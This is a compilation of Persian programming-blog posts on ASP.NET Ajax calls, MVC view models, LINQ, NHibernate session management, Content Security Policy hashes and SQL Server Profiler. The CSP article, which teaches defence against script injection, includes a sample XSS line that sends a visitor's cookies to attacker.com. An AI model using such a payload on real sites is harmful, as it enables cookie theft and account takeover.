حسین صفدری حسین صفدری
مطالب
ASP.NET FriendlyUrls و دریافت خطای 401 Unauthorized در حین عملیات Ajax
امروز از ASP.NET FriendlyUrls که دوست عزیزمون به اشتراک گذاشتن استفاده می‌کردم ( اینجا ) و در صفحه اول سایتم مجبور بودم با استفاده از JSON یک متد را از صفحه Defaul.aspx  صدا بزنم که کد زیر را نوشتم:
$.ajax({
                    type: "POST",
                    url: "/Default.aspx/MyMethod",
                    data: "{}",
                    contentType: "application/json; charset=utf-8",
                    dataType: "json",
                    async: true,
                    cache: true,
                    success: function (data) {                   
                        $("#plandata").html(data.d);
                    },
                    error: function (x, e) {
                        alert("The call to the server side failed. " + x.responseText);
                    }
                });
هنگام کار، alert ایی بر روی صفحه ظاهر می‌شد و خطای 401 Unauthorized را نمایش می‌داد. حتی آدرس را به صورت /Default/MyMethod امتحان کردم باز هم خطا داد و متد را شناسایی نمی‌کرد. به جای این کار کد زیر را در web.config اضافه کردم:
<system.web.extensions>
  <scripting>
    <webServices>
      <authenticationService enabled="true" />
    </webServices>
  </scripting>
</system.web.extensions>
با استفاده از راه حل مطلب اینجا، به جای صفحه aspx یک صفحه WebService به پروژه اضافه و متد‌ها را به آن جا منتقل کردم. نتیجه کد به شرح زیر شد:
$.ajax({
                    type: "POST",
                    url: "/websrv.asmx/MyMethod",
                    data: "{}",
                    contentType: "application/json; charset=utf-8",
                    dataType: "json",
                    async: true,
                    cache: true,
                    success: function (data) {                   
                        $("#plandata").html(data.d);
                    },
                    error: function (x, e) {
                        alert("The call to the server side failed. " + x.responseText);
                    }
                });
و خدا را شکر مشکل برطرف شد.
‫۱۱ سال و ۳ ماه قبل، دوشنبه ۷ مرداد ۱۳۹۲، ساعت ۰۳:۴۰
وحید نصیری وحید نصیری
نظرات مطالب
ASP.NET MVC #12
- ابتدا نیاز است با مفهوم ViewModel آشنا باشید.
- اگر لیستی قرار است در تمام صفحات نمایش داده شود و محل آن هم باید در layout باشد، یعنی باید این لیست در هر بار نمایش و یا تولید هر View (تمام Viewهای سایت)، تولید شود. بنابراین در BaseViewModelایی که عنوان شد، تعریف خاصیت این لیست را قرار دهید و در layout از آن استفاده کنید.
// در پایه مدل‌ها
public abstract class BaseViewModel
{
    public IList<Post> Posts { get; set; } // خاصیت عمومی که قرار است در فایل مستر قابل دسترسی باشد
}

// در اکشن متد
 return View(model: new HomeViewModel { Posts = .... });

// در اینجا ویوومدل ارسالی از پایه مدل‌ها مشتق می‌شود
public class HomeViewModel : BaseViewModel
- و اگر نمی‌خواهید به ازای هر Viewایی که در سایت تولید می‌شود یکبار این لیست را مقدار دهی کنید، بهتر است از روش Html.RenderAction استفاده کنید (بحث «نمایش اطلاعات از کنترلر‌های مختلف در یک صفحه» در مطلب فوق). مباحث Caching را هم برای لیست‌های عمومی فراموش نکنید.
‫۱۱ سال و ۲ ماه قبل، جمعه ۱ شهریور ۱۳۹۲، ساعت ۱۴:۱۳
وحید نصیری وحید نصیری
مطالب
استفاده از LINQ جهت تهیه کدهایی کوتاه‌تر و خواناتر

با کمک امکانات ارائه شده توسط LINQ ، می‌توان بسیاری از اعمال برنامه نویسی را در حجمی کمتر، خواناتر و در نتیجه با قابلیت نگهداری بهتر، انجام داد که تعدادی از آن‌ها را در ادامه مرور خواهیم کرد.

الف) تهیه یک یک رشته، حاوی عناصر یک آرایه، جدا شده با کاما.

using System.Linq;

public class CLinq
{
 public static string GetCommaSeparatedListNormal(string[] data)
 {
     string items = string.Empty;

     foreach (var item in data)
     {
         items += item + ", ";
     }

     return items.Remove(items.Length - 2, 1).Trim();
 }

 public static string GetCommaSeparatedList(string[] data)
 {
     return data.Aggregate((s1, s2) => s1 + ", " + s2);
 }
}
همانطور که ملاحظه می‌کنید در روش دوم با استفاده از LINQ Aggregate extension method ، کد جمع و جورتر و خواناتری نسبت به روش اول حاصل شده است.

ب) پیدا کردن تعداد عناصر یک آرایه حاوی مقداری مشخص
برای مثال آرایه زیر را در نظر بگیرید:

var names = new[] { "name1", "name2", "name3", "name4", "name5", "name6", "name7" };
قصد داریم تعداد عناصر حاوی name را مشخص سازیم.
در تابع GetCountNormal زیر، این کار به شکلی متداول انجام شده و در GetCount از LINQ Count extension method کمک گرفته شده است.

using System.Linq;

public class CLinq
{
 public static int GetCountNormal()
 {
     var names = new[] { "name1", "name2", "name3", "name4", "name5", "name6", "name7" };
     var count = 0;
     foreach (var name in names)
     {
         if (name.Contains("name"))
             count += 1;
     }
     return count;
 }

 public static int GetCount()
 {
     var names = new[] { "name1", "name2", "name3", "name4", "name5", "name6", "name7" };
     return names.Count(name => name.Contains("name"));
 }
}
به نظر شما کدام روش خواناتر بوده و نگهداری و یا تغییر آن در آینده ساده‌تر می‌باشد؟

ج) دریافت لیستی از عناصر شروع شده با یک عبارت
در اینجا نیز دو روش متداول و استفاده از LINQ بررسی شده است.

using System.Linq;
using System.Collections.Generic;

public class CLinq
{
 public static List<string> GetListNormal()
 {
     List<string> sampleList = new List<string>() { "A1", "A2", "P1", "P10", "B1", "B@", "J30", "P12" };
     List<string> result = new List<string>();
     foreach (var item in sampleList)
     {
         if (item.StartsWith("P"))
             result.Add(item);
     }
     return result;
 }

 public static List<string> GetList()
 {
     List<string> sampleList = new List<string>() { "A1", "A2", "P1", "P10", "B1", "B@", "J30", "P12" };
     return sampleList.Where(x => x.StartsWith("P")).ToList();
 }
}

و در حالت کلی، اکثر حلقه‌های foreach متداول را می‌توان با نمونه‌های خواناتر کوئری‌های LINQ معادل، جایگزین کرد.

Vote on iDevCenter
‫۱۴ سال و ۱۳ ماه قبل، دوشنبه ۴ آبان ۱۳۸۸، ساعت ۲۳:۴۸
وحید نصیری وحید نصیری
مطالب
آشنایی با NHibernate - قسمت هفتم

مدیریت بهینه‌ی سشن فکتوری

ساخت یک شیء SessionFactory بسیار پر هزینه و زمانبر است. به همین جهت لازم است که این شیء یکبار حین آغاز برنامه ایجاد شده و سپس در پایان کار برنامه تخریب شود. انجام اینکار در برنامه‌های معمولی ویندوزی (WinForms ،WPF و ...)، ساده است اما در محیط Stateless وب و برنامه‌های ASP.Net ، نیاز به راه حلی ویژه وجود خواهد داشت و تمرکز اصلی این مقاله حول مدیریت صحیح سشن فکتوری در برنامه‌های ASP.Net است.

برای پیاده سازی شیء سشن فکتوری به صورتی که یکبار در طول برنامه ایجاد شود و بارها مورد استفاده قرار گیرد باید از یکی از الگوهای معروف طراحی برنامه نویسی شیء گرا به نام Singleton Pattern استفاده کرد. پیاده سازی نمونه‌ی thread safe آن که در برنامه‌های ذاتا چند ریسمانی وب و همچنین برنامه‌های معمولی ویندوزی می‌تواند مورد استفاده قرار گیرد، در آدرس ذیل قابل مشاهده است:



از پنجمین روش ذکر شده در این مقاله جهت ایجاد یک lazy, lock-free, thread-safe singleton استفاده خواهیم کرد.

بررسی مدل برنامه

در این مدل ساده ما یک یا چند پارکینگ داریم که در هر پارکینگ یک یا چند خودرو می‌توانند پارک شوند.


یک برنامه ASP.Net را آغاز کرده و ارجاعاتی را به اسمبلی‌های زیر به آن اضافه نمائید:
FluentNHibernate.dll
NHibernate.dll
NHibernate.ByteCode.Castle.dll
NHibernate.Linq.dll
و همچنین ارجاعی به اسمبلی استاندارد System.Data.Services.dll دات نت فریم ورک سه و نیم

تصویر نهایی پروژه ما به شکل زیر خواهد بود:



پروژه ما دارای یک پوشه domain ، تعریف کننده موجودیت‌های برنامه جهت تهیه نگاشت‌های لازم از روی ‌آن‌ها است. سپس یک پوشه جدید را به نام NHSessionManager به آن جهت ایجاد یک Http module مدیریت کننده سشن‌های NHibernate در برنامه اضافه خواهیم کرد.

ساختار دومین برنامه (مطابق کلاس دیاگرام فوق):

namespace NHSample3.Domain
{
  public class Car
  {
      public virtual int Id { get; set; }
      public virtual string Name { get; set; }
      public virtual string Color { get; set; }
  }
}

using System.Collections.Generic;

namespace NHSample3.Domain
{
  public class Parking
  {
      public virtual int Id { get; set; }
      public virtual string Name { get; set; }
      public virtual string Location { get; set; }
      public virtual IList<Car> Cars { get; set; }

      public Parking()
      {
          Cars = new List<Car>();
      }
  }
}
مدیریت سشن فکتوری در برنامه‌های وب

در این قسمت قصد داریم Http Module ایی را جهت مدیریت سشن‌های NHibernate ایجاد نمائیم.

در ابتدا کلاس Config را در پوشه مدیریت سشن NHibernate با محتویات زیر ایجاد کنید:

using FluentNHibernate.Automapping;
using FluentNHibernate.Cfg;
using FluentNHibernate.Cfg.Db;
using NHibernate.Tool.hbm2ddl;

namespace NHSessionManager
{
  public class Config
  {
      public static FluentConfiguration GetConfig()
      {
          return
            Fluently.Configure()
                    .Database(
                       MsSqlConfiguration
                         .MsSql2008
                         .ConnectionString(x => x.FromConnectionStringWithKey("DbConnectionString"))                         
                        )
                      .ExposeConfiguration(
                           x => x.SetProperty("current_session_context_class", "managed_web")
                       )
                      .Mappings(
                        m => m.AutoMappings.Add(
                           new AutoPersistenceModel()
                               .Where(x => x.Namespace.EndsWith("Domain"))                               
                               .AddEntityAssembly(typeof(NHSample3.Domain.Car).Assembly))
                               );
      }

      public static void CreateDb()
      {
          bool script = false;//آیا خروجی در کنسول هم نمایش داده شود
          bool export = true;//آیا بر روی دیتابیس هم اجرا شود            
          bool dropTables = false;//آیا جداول موجود دراپ شوند
          new SchemaExport(GetConfig().BuildConfiguration()).Execute(script, export, dropTables);
      }
  }
}
با این کلاس در قسمت‌های قبل آشنا شده‌اید. در این کلاس با کمک امکانات Auto mapping موجود در Fluent Nhibernate (مطلب قسمت قبلی این سری آموزشی) اقدام به تهیه نگاشت‌های خودکار از کلاس‌های قرار گرفته در پوشه دومین خود خواهیم کرد (فضای نام این پوشه به دومین ختم می‌شود که در متد GetConfig مشخص است).
دو نکته جدید در متد GetConfig وجود دارد:
الف) استفاده از متد FromConnectionStringWithKey ، بجای تعریف مستقیم کانکشن استرینگ در متد مذکور که روشی است توصیه شده. به این صورت فایل وب کانفیگ ما باید دارای تعریف کلید مشخص شده در متد GetConfig به نام DbConnectionString باشد:

<connectionStrings>
  <!--NHSessionManager-->
  <add name="DbConnectionString"
         connectionString="Data Source=(local);Initial Catalog=HelloNHibernate;Integrated Security = true" />
</connectionStrings>
ب) قسمت ExposeConfiguration آن نیز جدید است.
در اینجا به AutoMapper خواهیم گفت که قصد داریم از امکانات مدیریت سشن مخصوص وب فریم ورک NHibernate استفاده کنیم. فریم ورک NHibernate دارای کلاسی است به نام NHibernate.Context.ManagedWebSessionContext که جهت مدیریت سشن‌های خود در پروژه‌های وب ASP.Net پیش بینی کرده است و از این متد در Http module ایی که ایجاد خواهیم کرد جهت ردگیری سشن جاری آن کمک خواهیم گرفت.

اگر متد CreateDb را فراخوانی کنیم، جداول نگاشت شده به کلاس‌های پوشه دومین برنامه، به صورت خودکار ایجاد خواهند شد که دیتابیس دیاگرام آن به صورت زیر می‌باشد:



سپس کلاس SingletonCore را جهت تهیه تنها و تنها یک وهله از شیء سشن فکتوری در کل برنامه ایجاد خواهیم کرد (همانطور که عنوان شده، ایده پیاده سازی این کلاس thread safe ، از مقاله معرفی شده در ابتدای بحث گرفته شده است):

using NHibernate;

namespace NHSessionManager
{
  /// <summary>
  /// lazy, lock-free, thread-safe singleton
  /// </summary>
  public class SingletonCore
  {
      private readonly ISessionFactory _sessionFactory;

      SingletonCore()
      {
          _sessionFactory = Config.GetConfig().BuildSessionFactory();
      }

      public static SingletonCore Instance
      {
          get
          {
              return Nested.instance;
          }
      }

      public static ISession GetCurrentSession()
      {
          return Instance._sessionFactory.GetCurrentSession();
      }

      public static ISessionFactory SessionFactory
      {
          get { return Instance._sessionFactory; }
      }

      class Nested
      {
          // Explicit static constructor to tell C# compiler
          // not to mark type as beforefieldinit
          static Nested()
          {
          }

          internal static readonly SingletonCore instance = new SingletonCore();
      }
  }
}
اکنون می‌توان از این Singleton object جهت تهیه یک Http Module کمک گرفت. برای این منظور کلاس SessionModule را به برنامه اضافه کنید:

using System;
using System.Web;
using NHibernate;
using NHibernate.Context;

namespace NHSessionManager
{
  public class SessionModule : IHttpModule
  {
      public void Dispose()
      { }

      public void Init(HttpApplication context)
      {
          if (context == null)
              throw new ArgumentNullException("context");

          context.BeginRequest += Application_BeginRequest;
          context.EndRequest += Application_EndRequest;
      }

      private void Application_BeginRequest(object sender, EventArgs e)
      {
          ISession session = SingletonCore.SessionFactory.OpenSession();
          ManagedWebSessionContext.Bind(HttpContext.Current, session);
          session.BeginTransaction();
      }

      private void Application_EndRequest(object sender, EventArgs e)
      {
          ISession session = ManagedWebSessionContext.Unbind(
              HttpContext.Current, SingletonCore.SessionFactory);
          if (session == null) return;

          try
          {
              if (session.Transaction != null &&
                  !session.Transaction.WasCommitted &&
                  !session.Transaction.WasRolledBack)
              {
                  session.Transaction.Commit();
              }
              else
              {
                  session.Flush();
              }
          }
          catch (Exception)
          {
              session.Transaction.Rollback();
          }
          finally
          {
              if (session != null && session.IsOpen)
              {
                  session.Close();
                  session.Dispose();
              }
          }
      }
  }
}
کلاس فوق کار پیاده سازی اینترفیس IHttpModule را جهت دخالت صریح در request handling pipeline برنامه ASP.Net جاری انجام می‌دهد. در این کلاس مدیریت متدهای استاندارد Application_BeginRequest و Application_EndRequest به صورت خودکار صورت می‌گیرد.
در متد Application_BeginRequest ، در ابتدای هر درخواست یک سشن جدید ایجاد و به مدیریت سشن وب NHibernate بایند می‌شود، همچنین یک تراکنش نیز آغاز می‌گردد. سپس در پایان درخواست، این انقیاد فسخ شده و تراکنش کامل می‌شود، همچنین کار پاکسازی اشیاء نیز صورت خواهد گرفت.

با توجه به این موارد، دیگر نیازی به ذکر using جهت dispose کردن سشن جاری در کدهای ما نخواهد بود، زیرا در پایان هر درخواست اینکار به صورت خودکار صورت می‌گیرد. همچنین نیازی به ذکر تراکنش نیز نمی‌باشد، چون مدیریت آن‌را خودکار کرده‌ایم.

جهت استفاده از این Http module تهیه شده باید چند سطر زیر را به وب کانفیگ برنامه اضافه کرد:

  <httpModules>
    <!--NHSessionManager-->
    <add name="SessionModule" type="NHSessionManager.SessionModule"/>
  </httpModules>
بدیهی است اگر نخواهید از Http module استفاده کنید باید این کدها را در فایل Global.asax برنامه قرار دهید.

اکنون مثالی از نحوه‌ی استفاده از امکانات فراهم شده فوق به صورت زیر می‌تواند باشد:
ابتدا کلاس ParkingContext را جهت مدیریت مطلوب‌تر LINQ to NHibernate تشکیل می‌دهیم.

using System.Linq;
using NHibernate;
using NHibernate.Linq;
using NHSample3.Domain;

namespace NHSample3
{
  public class ParkingContext : NHibernateContext
  {
      public ParkingContext(ISession session)
          : base(session)
      { }

      public IOrderedQueryable<Car> Cars
      {
          get { return Session.Linq<Car>(); }
      }

      public IOrderedQueryable<Parking> Parkings
      {
          get { return Session.Linq<Parking>(); }
      }
  }
}
سپس در فایل Default.aspx.cs برنامه ، برای نمونه تعدادی رکورد را افزوده و نتیجه را در یک گرید ویوو نمایش خواهیم داد:

using System;
using System.Collections.Generic;
using System.Linq;
using NHibernate;
using NHSample3.Domain;
using NHSessionManager;

namespace NHSample3
{
  public partial class _Default : System.Web.UI.Page
  {
      protected void Page_Load(object sender, EventArgs e)
      {
          //ایجاد دیتابیس در صورت نیاز
          //Config.CreateDb();

          //ثبت یک سری رکورد در دیتابیس
          ISession session = SingletonCore.GetCurrentSession();

          Car car1 = new Car() { Name = "رنو", Color = "مشکلی" };
          session.Save(car1);
          Car car2 = new Car() { Name = "پژو", Color = "سفید" };
          session.Save(car2);

          Parking parking1 = new Parking()
          {
              Location = "آدرس پارکینگ مورد نظر",
              Name = "پارکینگ یک",
              Cars = new List<Car> { car1, car2 }
          };

          session.Save(parking1);

          //نمایش حاصل در یک گرید ویوو
          ParkingContext db = new ParkingContext(session);
          var query = from x in db.Cars select new { CarName = x.Name, CarColor = x.Color };
          GridView1.DataSource = query.ToList();
          GridView1.DataBind();
      }
  }
}
مدیریت سشن فکتوری در برنامه‌های غیر وب

در برنامه‌های ویندوزی مانند WinForms ، WPF و غیره، تا زمانیکه یک فرم باز باشد، کل فرم و اشیاء مرتبط با آن به یکباره تخریب نخواهند شد، اما در یک برنامه ASP.Net جهت حفظ منابع سرور در یک محیط چند کاربره، پس از پایان نمایش یک صفحه وب، اثری از آثار اشیاء تعریف شده در کدهای آن صفحه در سرور وجود نداشته و همگی بلافاصله تخریب می‌شوند. به همین جهت بحث‌های ویژه state management در ASP.Net در اینباره مطرح است و مدیریت ویژه‌ای باید روی آن صورت گیرد که در قسمت قبل مطرح شد.
از بحث فوق، تنها استفاده از کلاس‌های Config و SingletonCore ، جهت استفاده و مدیریت بهینه‌ی سشن فکتوری در برنامه‌های ویندوزی کفایت می‌کنند.

دریافت سورس برنامه قسمت هفتم

ادامه دارد ....

‫۱۵ سال و ۱ ماه قبل، پنجشنبه ۲۳ مهر ۱۳۸۸، ساعت ۱۷:۱۴
وحید نصیری وحید نصیری
مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
‫۱ سال و ۱ ماه قبل، دوشنبه ۱۶ مرداد ۱۴۰۲، ساعت ۱۴:۲۵
محمد رجبی محمد رجبی
مطالب
بررسی ابزار SQL Server Profiler

مقدمه

Profiler یک ابزار گرافیکی برای ردیابی و نظارت بر کارآئی SQL Server است. امکان ردیابی اطلاعاتی در خصوص رویدادهای مختلف و ثبت این داده‌ها در یک فایل (با پسوند trc) یا جدول برای تحلیل‌های آتی نیز وجود دارد. برای اجرای این ابزار مراحل زیر را انجام دهید:

Start > Programs> Microsoft SQL Server > Performance Tools> SQL Server Profiler
و یا در محیط  Management Studio از منوی Tools گزینه SQL Server Profiler را انتخاب نمائید.


1- اصطلاحات

1-1- رویداد (Event):

یک رویداد، کاری است که توسط موتور بانک اطلاعاتی (Database Engine) انجام می‌شود. برای مثال هر یک از موارد زیر یک رویداد هستند.
-  متصل شدن کاربران (login connections) قطع شدن ارتباط یک login
-  اجرای دستورات T-SQL، شروع و پایان اجرای یک رویه، شروع و پایان یک دستور در طول اجرای یک رویه، اجرای رویه‌های دور Remote Procedure Call
-  باز شدن یک Cursor
-  بررسی و کنترل مجوزهای امنیتی

1-2- کلاس رویداد (Event Class):

برای بکارگیری رویدادها در Profiler، از یک Event Class استفاده می‌کنیم. یک Event Class رویدادی است که قابلیت ردیابی دارد. برای مثال بررسی ورود و اتصال کاربران با استفاده از کلاس Audit Login قابل پیاده سازی است. هر یک از موارد زیر یک Event Class هستند.
-  SQL:BatchCompleted
-  Audit Login
-  Audit Logout
-  Lock: Acquired
-  Lock: Released

1-3- گروه رویداد (Event Category):

یک گروه رویداد شامل رویدادهایی است که به صورت مفهومی دسته بندی شده اند. برای مثال، کلیه رویدادهای مربوط به قفل‌ها از جمله Lock: Acquired (بدست آوردن قفل) و Lock: Released (رها کردن قفل) در گروه رویداد Locks قرار  دارند.

1-4- ستون داده ای (Data Column):

یک ستون داده ای، خصوصیت و جزئیات یک رویداد را شامل می‌شود. برای مثال در یک Trace که رویدادهای Lock: Acquired را نظارت می‌کند، ستون Binary Data شامل شناسه (ID) یک صفحه و یا یک سطر قفل شده است و یا اینکه ستون Duration مدت زمان اجرای یک رویه را نمایش می‌دهد.

1-5- الگو (Template):

یک الگو، مشخص کننده تنظیمات پیش گزیده برای یک Trace است، این تنظیمات شامل رویدادهایی است که نیاز دارید بر آنها نظارت داشته باشید. هنگامیکه یک Trace براساس یک الگو اجرا شود، رویدادهای مشخص شده، نظارت می‌شوند و نتیجه به صورت یک فایل یا جدول قابل مشاهده خواهد بود.

1-6- ردیاب (Trace):

یک Trace داده‌ها را براساس رویدادهای انتخاب شده، جمع آوری می‌کند. امکان اجرای بلافاصله یک Trace برای جمع آوری اطلاعات با توجه به رویدادهای انتخاب شده و ذخیره کردن آن برای اجرای آتی وجود دارد.

1-7- فیلتر (Filter):

هنگامی که یک Trace یا الگو ایجاد می‌شود، امکان تعریف شرایطی برای فیلتر کردن داده‌های جمع آوری شده نیز وجود دارد. این کار باعث کاهش حجم داده‌های گزارش شده می‌شود. برای مثال اطلاعات مربوط به یک کاربر خاص جمع آوری می‌شود و یا اینکه رشد یک بانک اطلاعاتی مشخص بررسی می‌شود.


2- انتخاب الگو (Profiler Trace Templates)

از آنجائیکه اصولاً انتخاب Eventهای مناسب، کار سخت و تخصصی می‌باشد برای راحتی کار تعدادی Template‌های آماده وجود دارد، برای مثال TSQL_Duration تاکیدش روی مدت انجام کار است و یا SP_Counts در مواردی که بخواهیم رویه‌های ذخیره شده را بهینه کنیم استفاده می‌شود در جدول زیر به شرح هر یک پرداخته شده است:
 الگو  هدف 
 Blank   ایجاد یک Trace کلی 
 SP_Counts   ثبت اجرای هر رویه ذخیره شده برای تشخیص اینکه هر رویه چند بار اجرا شده است 
 Standard   ثبت آمارهای کارائی برای هر رویه ذخیره شده و Query‌های عادی SQL که اجرا می‌شوند و عملیات ورود و خروج هر Login (پیش فرض) 
 TSQL   ثبت یک لیست از همه رویه‌های ذخیره شده و Query‌های عادی SQL که اجرا می‌شوند ولی آمارهای کارائی را شامل نمی‌شود 
 TSQL_Duration   ثبت مدت زمان اجرای هر رویه ذخیره شده و هر Query عادی SQL 
 TSQL_Grouped   ثبت تمام  login‌ها و logout‌ها در طول اجرای رویه‌های ذخیره شده و هر Query عادی SQL، شامل اطلاعاتی برای شناسائی برنامه و کاربری که درخواست را اجرا می‌کند 
